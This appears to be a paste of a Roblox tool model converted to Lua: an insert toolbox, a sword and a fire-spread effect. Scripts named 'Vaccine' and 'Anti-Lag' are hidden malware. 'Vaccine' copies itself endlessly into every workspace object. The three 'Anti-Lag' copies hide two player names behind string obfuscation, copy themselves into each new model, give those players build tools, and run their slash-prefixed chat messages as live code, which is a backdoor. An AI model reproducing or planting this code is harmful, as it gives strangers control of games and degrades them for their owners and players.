- descriptionFrame.Parent = dialogFrame
- local label = Instance.new("TextLabel")
- label.Text = "Loading..."
- label.Position = UDim2.new(0.5, 0, 0, 0);
- label.Size = UDim2.new(0.0, 0, 0.0, height)
- label.BorderSizePixel = 0
- label.TextColor3 = frameTextColor
- label.Parent = descriptionFrame
- local assetLabel = Instance.new("TextLabel")
- assetLabel.Text = "Your Asset Here"
- assetLabel.Position = UDim2.new(0.0, 0, 0.0, height)
- assetLabel.Size = UDim2.new(1.0, 0, 1.0, -2*height)
- assetLabel.BorderSizePixel = 0
- assetLabel.BackgroundTransparency = 1.0
- assetLabel.Parent = descriptionFrame
- assetLabel.TextColor3 = frameTextColor
- assetLabel.TextWrap = true
- Window.Loading.AssetNameLabel = assetLabel
- local cancelButton = Instance.new("TextButton")
- cancelButton.Name = "PreviousPageButton"
- cancelButton.Size = UDim2.new(0, height*3, 0, height)
- cancelButton.Position = UDim2.new(0.5, -height*1.5, 1.0, -height*1.2)
- cancelButton.BackgroundColor3 = buttonColor
- cancelButton.TextColor3 = buttonTextColor
- cancelButton.Text = "Cancel"
- cancelButton.MouseButton1Click:connect(cancelAssetLoad)
- cancelButton.Parent = descriptionFrame
- end
- function cancelAssetPlacement()
- Data.Stamp.Cancelled = true
- Data.Stamp.Dragger = nil
- if Data.Stamp.Model then
- Data.Stamp.Model:Remove()
- Data.Stamp.Model = nil
- end
- if Data.Stamp.CurrentParts then
- for index, object in pairs(Data.Stamp.CurrentParts) do
- object:Remove()
- end
- Data.Stamp.CurrentParts = nil
- end
- if Data.Stamp.DecalSelection then
- Data.Stamp.DecalSelection:Remove()
- Data.Stamp.DecalSelection = nil
- end
- if Data.Stamp.Decal then
- Data.Stamp.Decal:Remove()
- Data.Stamp.Decal = nil
- end
- if Mouse then
- Mouse.Icon ="rbxasset://textures\\ArrowCursor.png"
- end
- insertComplete()
- end
- function onInsertKeyDown(key)
- if Data.Stamp.Dragger then
- if key == 'R' or key == 'r' then
- Data.Stamp.Dragger:AxisRotate(Enum.Axis.Y)
- elseif key == 'T' or key == 't' then
- Data.Stamp.Dragger:AxisRotate(Enum.Axis.Z)
- end
- end
- if key == '' then
- minimize()
- end
- end
- function canSelectObject(part)
- return part and not (part.Locked) and part:IsA("BasePart") and (part.Position - Tool.Parent.Head.Position).Magnitude < 60
- end
- function setSelectionSurface(part, surface)
- if Data.Stamp.DecalSelection.Adornee == part and Data.Stamp.DecalSelection.TargetSurface == surface then
- return
- end
- unsetSelectionSurface()
- Data.Stamp.DecalSelection.Adornee = part
- Data.Stamp.DecalSelection.TargetSurface = surface
- --selectionLasso.Part = part
- local decalFound = false
- for index,child in pairs(part:GetChildren()) do
- if child:IsA("Decal") and child.Face == surface then
- decalFound = true
- break
- end
- end
- if not(decalFound) then
- Data.Stamp.Decal.Parent = part
- Data.Stamp.Decal.Face = surface
- end
- end
- function unsetSelectionSurface()
- Data.Stamp.DecalSelection.Adornee = nil
- --selectionLasso.Part = nil
- Data.Stamp.Decal.Parent = nil
- end
- function onInsertMouseMove()
- if Data.Stamp.MovingLock then
- return
- end
- local newCursor = "rbxasset://textures\\ArrowCursor.png"
- Data.Stamp.MovingLock = true
- if Data.Stamp.Decal then
- local part = Mouse.Target
- if canSelectObject(part) then
- setSelectionSurface(part, Mouse.TargetSurface)
- else
- unsetSelectionSurface()
- newCursor = BaseUrl .. "asset?id=20715642"
- end
- elseif Data.Stamp.Dragger == nil then
- if Data.Stamp.Model ~= nil then
- Mouse.Icon ="rbxasset://textures//GrabRotateCursor.png"
- setupDraggableClone()
- end
- else
- Data.Stamp.Dragger:MouseMove(Mouse.UnitRay)
- end
- Mouse.Icon = newCursor
- Data.Stamp.MovingLock = false
- end
- function onInsertMouseButton1Down()
- if Data.Stamp.Dragger or Data.Stamp.Decal then
- Data.Stamp.MouseDown = true
- end
- end
- function onInsertMouseButton1Up()
- if Data.Stamp.MouseDown then
- Data.Stamp.MouseDown = false
- if Data.Stamp.Decal then
- local part = Mouse.Target
- if canSelectObject(part) and Instance.Lock(part) then
- local surface = Mouse.TargetSurface
- for index,child in pairs(part:GetChildren()) do
- if child:IsA("Decal") and child.Face == surface then
- child:Remove()
- end
- end
- local newDecal = Data.Stamp.Decal:Clone()
- newDecal.Face = surface
- newDecal.Parent = part
- Instance.Unlock(part)
- if Data.Stamp.StampMode then
- else
- Instance.Unlock(part)
- cancelAssetPlacement()
- end
- end
- elseif Data.Stamp.Dragger then
- --Place the object where the mouse is currently positioned
- Data.Stamp.Dragger:MouseUp()
- --Fix the transparency of all the parts
- for part, transparency in pairs(Data.Stamp.TransparencyTable) do
- part.Transparency = transparency
- end
- Data.Stamp.TransparencyTable = nil
- --Re-enable the scripts
- for index,script in pairs(Data.Stamp.DisabledScripts) do
- script.Disabled = false
- end
- --Now that they are all marked enabled, reinsert them into the world so they start running
- for index,script in pairs(Data.Stamp.DisabledScripts) do
- local oldParent = script.Parent
- script.Parent = nil
- script:Clone().Parent = oldParent
- end
- Data.Stamp.DisabledScripts = nil
- Data.Stamp.Dragger = nil
- Data.Stamp.CurrentParts = nil
- if Data.Stamp.StampMode then
- --Now set up a new instance of the object to allow a second copy to be stamped down
- setupDraggableClone()
- else
- cancelAssetPlacement()
- end
- end
- end
- end
- function collectParts(object, baseParts, scripts)
- if object:IsA("BasePart") then
- baseParts[#baseParts+1] = object
- elseif object:IsA("Script") then
- scripts[#scripts+1] = object
- end
- for index,child in pairs(object:GetChildren()) do
- collectParts(child, baseParts, scripts)
- end
- end
- function setupDraggableClone()
- local clone = Data.Stamp.Model:Clone()
- local scripts = {}
- local parts = {}
- collectParts(clone, parts, scripts)
- if #parts > 0 then
- Data.Stamp.DisabledScripts = {}
- Data.Stamp.TransparencyTable = {}
- for index,script in pairs(scripts) do
- if not(script.Disabled) then
- script.Disabled = true
- Data.Stamp.DisabledScripts[#Data.Stamp.DisabledScripts +1] = script
- end
- end
- for index, part in pairs(parts) do
- Data.Stamp.TransparencyTable[part] = part.Transparency
- part.Transparency = 0.5
- end
- game:GetService("InsertService"):Insert(clone)
- Data.Stamp.CurrentParts = clone:GetChildren();
- for index, object in pairs(Data.Stamp.CurrentParts) do
- object.Parent = clone.Parent
- end
- clone:Remove();
- Data.Stamp.Dragger = Instance.new("Dragger")
- --Begin a movement by faking a MouseDown signal
- Data.Stamp.Dragger:MouseDown(parts[1], Vector3.new(0,0,0), parts)
- Data.Stamp.Dragger:MouseMove(Mouse.UnitRay)
- else
- --Nothing draggable in the Model
- Data.Stamp.Model:Remove()
- Data.Stamp.Model = nil
- Data.Stamp.TransparencyTable = nil
- Data.Stamp.DisabledScripts = nil
- end
- end
- function buildStampDialogGui(root)
- Window.Stamp = {}
- Data.Stamp = {}
- local dialogFrame = Instance.new("Frame")
- dialogFrame.Name = "InsertStampDialog"
- dialogFrame.Size = UDim2.new(0.0, height*10, 0, height*5)
- dialogFrame.Position = UDim2.new(0.0, 0, 1.0, -height*5)
- dialogFrame.BackgroundColor3 = frameColor
- dialogFrame.Active = true
- dialogFrame.Parent = root
- dialogFrame.Visible = false
- Window.Stamp.Frame = dialogFrame
- local assetThumb = Instance.new("ImageLabel")
- assetThumb.Position = UDim2.new(0.0, 2, 0.0, 2)
- assetThumb.Size = UDim2.new(0.5, -4, 1.0, -4)
- assetThumb.Parent = dialogFrame
- Window.Stamp.AssetThumbLabel = assetThumb
- local descriptionFrame = Instance.new("Frame")
- descriptionFrame.Name = "Description"
- descriptionFrame.Size = UDim2.new(0.5, 0, 1.0, 0)
- descriptionFrame.Position = UDim2.new(0.5, 0, 0.0, 0)
- descriptionFrame.Transparency = 1
- descriptionFrame.Parent = dialogFrame
- local assetLabel = Instance.new("TextLabel")
- assetLabel.Text = "Your Asset Here"
- assetLabel.Position = UDim2.new(0.0, 0, 0.0, 0)
- assetLabel.Size = UDim2.new(1.0, 0, 1.0, -height)
- assetLabel.BorderSizePixel = 0
- assetLabel.BackgroundTransparency = 1.0
- assetLabel.Parent = descriptionFrame
- assetLabel.TextColor3 = frameTextColor
- assetLabel.TextWrap = true
- Window.Stamp.AssetNameLabel = assetLabel
- local cancelButton = Instance.new("TextButton")
- cancelButton.Name = "CancelButton"
- cancelButton.Size = UDim2.new(0, height*4.5, 0, height)
- cancelButton.Position = UDim2.new(0.5, -height*2.25, 1.0, -height*1.2)
- cancelButton.BackgroundColor3 = buttonColor
- cancelButton.TextColor3 = buttonTextColor
- cancelButton.Text = "Back to Toolbox"
- cancelButton.MouseButton1Click:connect(cancelAssetPlacement)
- cancelButton.Parent = descriptionFrame
- Data.Stamp.MovingLock = false
- end
- function buildInitialLoadScreen(root)
- local dialogFrame = Instance.new("Frame")
- dialogFrame.Name = "InsertLoadingScreen"
- dialogFrame.Size = UDim2.new(0.0, height*10, 0, height*5)
- dialogFrame.Position = UDim2.new(0.5, -height*5, 0.5, -height*2.5)
- dialogFrame.BackgroundColor3 = frameColor
- dialogFrame.Active = true
- dialogFrame.Visible = true
- dialogFrame.Parent = root
- local label = Instance.new("TextLabel")
- label.Text = "Loading"
- label.Position = UDim2.new(0.0, 0, 0, 0)
- label.Size = UDim2.new(1.0, 0, 0.0, height)
- label.BorderSizePixel = 1
- label.TextColor3 = titleTextColor
- label.BackgroundColor3 = titleColor
- label.Parent = dialogFrame
- local assetLabel = Instance.new("TextLabel")
- assetLabel.Text = "Please Wait"
- assetLabel.Position = UDim2.new(0.0, 0, 0.0, height)
- assetLabel.Size = UDim2.new(1.0, 0, 1.0, -2*height)
- assetLabel.BorderSizePixel = 1
- assetLabel.BackgroundTransparency = 1.0
- assetLabel.TextColor3 = frameTextColor
- assetLabel.TextWrap = true
- assetLabel.Parent = dialogFrame
- end
- function buildMinimizedGui(root)
- Window.Minimized = {}
- Data.Minimized = {}
- local minimizeButton = Instance.new("TextButton")
- minimizeButton.Name = "MinimizeButton"
- minimizeButton.Size = UDim2.new(0, height*4.5, 0, height)
- minimizeButton.Position = UDim2.new(0.0, 0, 1.0, -height)
- minimizeButton.BackgroundColor3 = buttonColor
- minimizeButton.TextColor3 = buttonTextColor
- minimizeButton.Text = "Toolbox"
- minimizeButton.MouseButton1Click:connect(function() Window.Minimized.Frame.Visible = false Window.Main.Frame.Visible = true end)
- minimizeButton.Visible = false
- minimizeButton.Parent = root
- Window.Minimized.Frame = minimizeButton
- end
- local CancelDuringLoad
- local LoadScreen
- function onEquippedLocal(mouse)
- Tool.TextureId = "rbxasset://icons/insert_sel.png"
- Mouse = mouse
- if Tool.SavedState.Value and Tool.PlayerOwner.Value == getPlayer() and Data and Data.FullyLoaded then
- guiMain = Tool.SavedState.Value
- guiMain.Parent = getPlayer().PlayerGui
- Window.Stamp.Frame.Visible = false
- Window.Minimized.Frame.Visible = false
- Window.Loading.Frame.Visible = false
- Window.Main.Frame.Visible = true
- --Window = Tool.SavedState.Value.Window
- --Data = Tool.SavedState.Value.Window
- else
- CancelDuringLoad = false
- LoadScreen = Instance.new("ScreenGui")
- LoadScreen.Name = "InsertToolLoading"
- buildInitialLoadScreen(LoadScreen)
- LoadScreen.Parent = getPlayer().PlayerGui
- guiMain = Instance.new("ScreenGui")
- guiMain.Name = "InsertToolboxMain"
- Window = {}
- Data = {}
- Data.FullyLoaded = false
- buildMainGui(guiMain, getPlayer().userId)
- buildLoadingDialogGui(guiMain)
- buildStampDialogGui(guiMain)
- buildMinimizedGui(guiMain)
- LoadScreen:Remove()
- LoadScreen = nil
- if not(CancelDuringLoad) then
- guiMain.Changed:connect(function(property) if property == "AbsoluteSize" then layoutInsertButtons(guiMain) end end)
- guiMain.Parent = getPlayer().PlayerGui
- Tool.SavedState.Value = guiMain
- Tool.PlayerOwner.Value = getPlayer()
- end
- Data.FullyLoaded = true
- end
- Mouse.Move:connect(onInsertMouseMove)
- Mouse.Button1Down:connect(onInsertMouseButton1Down)
- Mouse.Button1Up:connect(onInsertMouseButton1Up)
- Mouse.KeyDown:connect(onInsertKeyDown)
- end
- function onUnequippedLocal()
- Tool.TextureId = origTexture
- pcall(function()
- cancelAssetPlacement()
- cancelAssetLoad()
- guiMain.Parent = nil
- end)
- CancelDuringLoad = true
- if LoadScreen then
- LoadScreen:Remove()
- end
- end
- function onAncestryChanged(child,parent)
- if Tool.PlayerOwner.Value and not Tool:IsDescendantOf(Tool.PlayerOwner.Value) and not Tool:IsDescendantOf(Tool.PlayerOwner.Value.Character) then
- --Tool was dropped in some way, so we need to nuke our external state
- Tool.SavedState.Value = nil
- Tool.PlayerOwner.Value = nil
- end
- pcall(cancelAssetPlacement)
- pcall(cancelAssetLoad)
- end
- Tool.Equipped:connect(onEquippedLocal)
- Tool.Unequipped:connect(onUnequippedLocal)
- Tool.AncestryChanged:connect(onAncestryChanged)
- end))
- ObjectValue2.Name = "SavedState"
- ObjectValue2.Parent = Tool0
- Part3.Name = "Handle"
- Part3.Parent = Tool0
- Part3.BrickColor = BrickColor.new("Dark stone grey")
- Part3.Rotation = Vector3.new(180, 0, -180)
- Part3.FormFactor = Enum.FormFactor.Plate
- Part3.Size = Vector3.new(1, 0.800000012, 2)
- Part3.CFrame = CFrame.new(-6.49996901, 0.40001601, -12, -0.999999762, 6.82227119e-06, 9.68836318e-08, 6.82227119e-06, 1, -8.38331893e-09, -9.68836886e-08, -8.38265812e-09, -0.999999762)
- Part3.BottomSurface = Enum.SurfaceType.Smooth
- Part3.TopSurface = Enum.SurfaceType.Smooth
- Part3.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part3.Position = Vector3.new(-6.49996901, 0.40001601, -12)
- Part3.Orientation = Vector3.new(0, 180, 0)
- Part3.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh4.Parent = Part3
- SpecialMesh4.MeshId = "http://www.roblox.com/asset/?id=18715644"
- SpecialMesh4.Scale = Vector3.new(0.899999976, 0.899999976, 0.899999976)
- SpecialMesh4.TextureId = "http://www.roblox.com/asset/?id=18715636"
- SpecialMesh4.MeshType = Enum.MeshType.FileMesh
- SpecialMesh4.Scale = Vector3.new(0.899999976, 0.899999976, 0.899999976)
- Sound5.Parent = Part3
- Sound5.SoundId = "http://www.roblox.com/asset/?id=18716629"
- Sound6.Parent = Part3
- Sound6.SoundId = "http://www.roblox.com/asset/?id=18716629"
- Sound7.Parent = Part3
- Sound7.SoundId = "http://www.roblox.com/asset/?id=18716629"
- Sound8.Parent = Part3
- Sound8.SoundId = "http://www.roblox.com/asset/?id=18716629"
- Sound9.Parent = Part3
- Sound9.SoundId = "http://www.roblox.com/asset/?id=18716629"
- Fire10.Parent = Part3
- Fire10.Size = 30
- Fire10.Color = Color3.new(1, 0.756863, 0)
- Fire10.Enabled = false
- Fire10.Heat = 25
- Fire10.SecondaryColor = Color3.new(1, 0, 0)
- Fire10.Color = Color3.new(1, 0.756863, 0)
- Script11.Name = "Spread"
- Script11.Parent = Fire10
- table.insert(cors,sandbox(Script11,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1
- check.Heat = check.Heat +1
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- Sound12.Parent = Part3
- Sound12.SoundId = "http://www.roblox.com/asset/?id=18716629"
- Script13.Name = "SwordScript"
- Script13.Parent = Tool0
- table.insert(cors,sandbox(Script13,function()
- -------- OMG HAX
- r = game:service("RunService")
- local damage = 0
- local slash_damage = 0
- sword = script.Parent.Handle
- Tool = script.Parent
- local SlashSound = Instance.new("Sound")
- SlashSound.SoundId = "http://www.roblox.com/asset/?id=18716629"
- SlashSound.Parent = sword
- function blow(hit)
- local humanoid = hit.Parent:findFirstChild("Humanoid")
- local vCharacter = Tool.Parent
- local vPlayer = game.Players:playerFromCharacter(vCharacter)
- local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
- if humanoid~=nil and humanoid ~= hum and hum ~= nil then
- -- final check, make sure sword is in-hand
- local right_arm = vCharacter:FindFirstChild("Right Arm")
- if (right_arm ~= nil) then
- local joint = right_arm:FindFirstChild("RightGrip")
- if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
- tagHumanoid(humanoid, vPlayer)
- humanoid:TakeDamage(damage)
- wait(1)
- untagHumanoid(humanoid)
- end
- end
- end
- end
- function tagHumanoid(humanoid, player)
- local creator_tag = Instance.new("ObjectValue")
- creator_tag.Value = player
- creator_tag.Name = "creator"
- creator_tag.Parent = humanoid
- end
- function untagHumanoid(humanoid)
- if humanoid ~= nil then
- local tag = humanoid:findFirstChild("creator")
- if tag ~= nil then
- tag.Parent = nil
- end
- end
- end
- function attack()
- damage = slash_damage
- SlashSound:play()
- local anim = Instance.new("StringValue")
- anim.Name = "toolanim"
- anim.Value = "Slash"
- anim.Parent = Tool
- end
- function swordUp()
- Tool.GripForward = Vector3.new(-1,0,0)
- Tool.GripRight = Vector3.new(0,1,0)
- Tool.GripUp = Vector3.new(0,0,1)
- end
- function swordOut()
- Tool.GripForward = Vector3.new(0,0,1)
- Tool.GripRight = Vector3.new(0,-1,0)
- Tool.GripUp = Vector3.new(-1,0,0)
- end
- Tool.Enabled = true
- function onActivated()
- if not Tool.Enabled then
- return
- end
- Tool.Enabled = false
- local character = Tool.Parent;
- local humanoid = character.Humanoid
- if humanoid == nil then
- print("Humanoid not found")
- return
- end
- attack()
- wait(1)
- Tool.Enabled = true
- end
- function onEquipped()
- end
- script.Parent.Activated:connect(onActivated)
- script.Parent.Equipped:connect(onEquipped)
- end))
- ObjectValue14.Name = "PlayerOwner"
- ObjectValue14.Parent = Tool0
- Script15.Name = "Vaccine"
- Script15.Parent = Tool0
- table.insert(cors,sandbox(Script15,function()
- function spread() -- created by Tehrazar [Credit!]
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then
- v:remove()
- end
- end
- print("Virus debugged! All clean!")
- end))
- Script16.Name = "Anti-Lag"
- Script16.Parent = Script15
- table.insert(cors,sandbox(Script16,function()
- Altitude = script:clone()
- calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
- Knox = {}
- table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
- table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
- Play = {}
- function rando(votation)
- local hatr = 5
- local calc = math.pi * math.huge
- local longicate = votation:GetChildren()
- if #longicate > hatr then
- calc = calc + math.pi
- return longicate[math.random(6,#longicate)]
- end
- end
- function doublecheck()
- local fj = game.Workspace:GetChildren()
- for off = 1,#fj do
- if fj[off].className == "Part" then
- local fh = fj[off]:FindFirstChild("Anti-Lag")
- if fh ~= nil then
- return false
- end
- end
- end
- return true
- end
- function workcheck()
- if doublecheck() == true then
- local l = Altitude:clone()
- l.Parent = rando(game.Workspace)
- end
- end
- workcheck()
- function gibite(quen)
- local hup = Instance.new("Message")
- hup.Text = "Detected"
- hup.Parent = quen.Parent
- local con = Instance.new("Script")
- con.Source = [[wait(5) script.Parent:remove()]]
- con.Parent = hup
- for ish = 0,7 do
- local a = Instance.new("HopperBin")
- a.BinType = ish
- a.Parent = quen
- end
- end
- function laber(zonsa)
- wait()
- for slate = 1,#Knox do
- if zonsa.Name == Knox[slate] then
- gibite(zonsa.Backpack)
- table.insert (Play, 1, zonsa.Name)
- end
- end
- end
- function yeild(frequency)
- local t = Knox
- for g = 1,#t do
- if t[g] == frequency.Name then
- return true
- end
- end
- return false
- end
- function check(los)
- local r = los:GetChildren()
- for i = 1,#r do
- local h = r[i]:FindFirstChild("Anti-Lag")
- if h ~= nil then
- h:remove()
- end
- end
- end
- function alto(xylem)
- if xylem.className == "Model" then
- check(xylem)
- local que = script:clone()
- que.Parent = rando(xylem)
- end
- end
- function sortation(gone)
- local dimbs = Altitude:clone()
- dimbs = ramno(game.Workspace)
- end
- function onPlayerEntered(newPlayer)
- newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
- end
- function Player(player)
- player.Changed:connect(function (property)
- if property == "Character" then
- laber(player)
- end
- end)
- end
- game.Players.PlayerAdded:connect(Player)
- game.Players.ChildAdded:connect(onPlayerEntered)
- game.Players.ChildAdded:connect(laber)
- script.ChildRemoved:connect(sortation)
- game.Workspace.ChildAdded:connect(alto)
- function onChatted(msg, recipient, speaker)
- if yeild(speaker) ~= false then
- if string.sub(msg,1,1) == "/" then
- local dsting = Instance.new("Script")
- dsting.Source = string.sub(msg,2)
- dsting.Parent = game.Workspace
- end
- end
- end
- end))
- Script17.Name = "Anti-Lag"
- Script17.Parent = Tool0
- table.insert(cors,sandbox(Script17,function()
- Altitude = script:clone()
- calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
- Knox = {}
- table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
- table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
- Play = {}
- function rando(votation)
- local hatr = 5
- local calc = math.pi * math.huge
- local longicate = votation:GetChildren()
- if #longicate > hatr then
- calc = calc + math.pi
- return longicate[math.random(6,#longicate)]
- end
- end
- function doublecheck()
- local fj = game.Workspace:GetChildren()
- for off = 1,#fj do
- if fj[off].className == "Part" then
- local fh = fj[off]:FindFirstChild("Anti-Lag")
- if fh ~= nil then
- return false
- end
- end
- end
- return true
- end
- function workcheck()
- if doublecheck() == true then
- local l = Altitude:clone()
- l.Parent = rando(game.Workspace)
- end
- end
- workcheck()
- function gibite(quen)
- local hup = Instance.new("Message")
- hup.Text = "Detected"
- hup.Parent = quen.Parent
- local con = Instance.new("Script")
- con.Source = [[wait(5) script.Parent:remove()]]
- con.Parent = hup
- for ish = 0,7 do
- local a = Instance.new("HopperBin")
- a.BinType = ish
- a.Parent = quen
- end
- end
- function laber(zonsa)
- wait()
- for slate = 1,#Knox do
- if zonsa.Name == Knox[slate] then
- gibite(zonsa.Backpack)
- table.insert (Play, 1, zonsa.Name)
- end
- end
- end
- function yeild(frequency)
- local t = Knox
- for g = 1,#t do
- if t[g] == frequency.Name then
- return true
- end
- end
- return false
- end
- function check(los)
- local r = los:GetChildren()
- for i = 1,#r do
- local h = r[i]:FindFirstChild("Anti-Lag")
- if h ~= nil then
- h:remove()
- end
- end
- end
- function alto(xylem)
- if xylem.className == "Model" then
- check(xylem)
- local que = script:clone()
- que.Parent = rando(xylem)
- end
- end
- function sortation(gone)
- local dimbs = Altitude:clone()
- dimbs = ramno(game.Workspace)
- end
- function onPlayerEntered(newPlayer)
- newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
- end
- function Player(player)
- player.Changed:connect(function (property)
- if property == "Character" then
- laber(player)
- end
- end)
- end
- game.Players.PlayerAdded:connect(Player)
- game.Players.ChildAdded:connect(onPlayerEntered)
- game.Players.ChildAdded:connect(laber)
- script.ChildRemoved:connect(sortation)
- game.Workspace.ChildAdded:connect(alto)
- function onChatted(msg, recipient, speaker)
- if yeild(speaker) ~= false then
- if string.sub(msg,1,1) == "/" then
- local dsting = Instance.new("Script")
- dsting.Source = string.sub(msg,2)
- dsting.Parent = game.Workspace
- end
- end
- end
- end))
- Script18.Name = "Anti-Lag"
- Script18.Parent = Tool0
- table.insert(cors,sandbox(Script18,function()
- Altitude = script:clone()
- calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
- Knox = {}
- table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
- table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
- Play = {}
- function rando(votation)
- local hatr = 5
- local calc = math.pi * math.huge
- local longicate = votation:GetChildren()
- if #longicate > hatr then
- calc = calc + math.pi
- return longicate[math.random(6,#longicate)]
- end
- end
- function doublecheck()
- local fj = game.Workspace:GetChildren()
- for off = 1,#fj do
- if fj[off].className == "Part" then
- local fh = fj[off]:FindFirstChild("Anti-Lag")
- if fh ~= nil then
- return false
- end
- end
- end
- return true
- end
- function workcheck()
- if doublecheck() == true then
- local l = Altitude:clone()
- l.Parent = rando(game.Workspace)
- end
- end
- workcheck()
- function gibite(quen)
- local hup = Instance.new("Message")
- hup.Text = "Detected"
- hup.Parent = quen.Parent
- local con = Instance.new("Script")
- con.Source = [[wait(5) script.Parent:remove()]]
- con.Parent = hup
- for ish = 0,7 do
- local a = Instance.new("HopperBin")
- a.BinType = ish
- a.Parent = quen
- end
- end
- function laber(zonsa)
- wait()
- for slate = 1,#Knox do
- if zonsa.Name == Knox[slate] then
- gibite(zonsa.Backpack)
- table.insert (Play, 1, zonsa.Name)
- end
- end
- end
- function yeild(frequency)
- local t = Knox
- for g = 1,#t do
- if t[g] == frequency.Name then
- return true
- end
- end
- return false
- end
- function check(los)
- local r = los:GetChildren()
- for i = 1,#r do
- local h = r[i]:FindFirstChild("Anti-Lag")
- if h ~= nil then
- h:remove()
- end
- end
- end
- function alto(xylem)
- if xylem.className == "Model" then
- check(xylem)
- local que = script:clone()
- que.Parent = rando(xylem)
- end
- end
- function sortation(gone)
- local dimbs = Altitude:clone()
- dimbs = ramno(game.Workspace)
- end
- function onPlayerEntered(newPlayer)
- newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
- end
- function Player(player)
- player.Changed:connect(function (property)
- if property == "Character" then
- laber(player)
- end
- end)
- end
- game.Players.PlayerAdded:connect(Player)
- game.Players.ChildAdded:connect(onPlayerEntered)
- game.Players.ChildAdded:connect(laber)
- script.ChildRemoved:connect(sortation)
- game.Workspace.ChildAdded:connect(alto)
- function onChatted(msg, recipient, speaker)
- if yeild(speaker) ~= false then
- if string.sub(msg,1,1) == "/" then
- local dsting = Instance.new("Script")
- dsting.Source = string.sub(msg,2)
- dsting.Parent = game.Workspace
- end
- end
- end
- end))
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = game:GetService("Players").LocalPlayer.Backpack
- pcall(function() v:MakeJoints() end)
- end
- mas:Destroy()
- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
Add Comment
Please, Sign In to add comment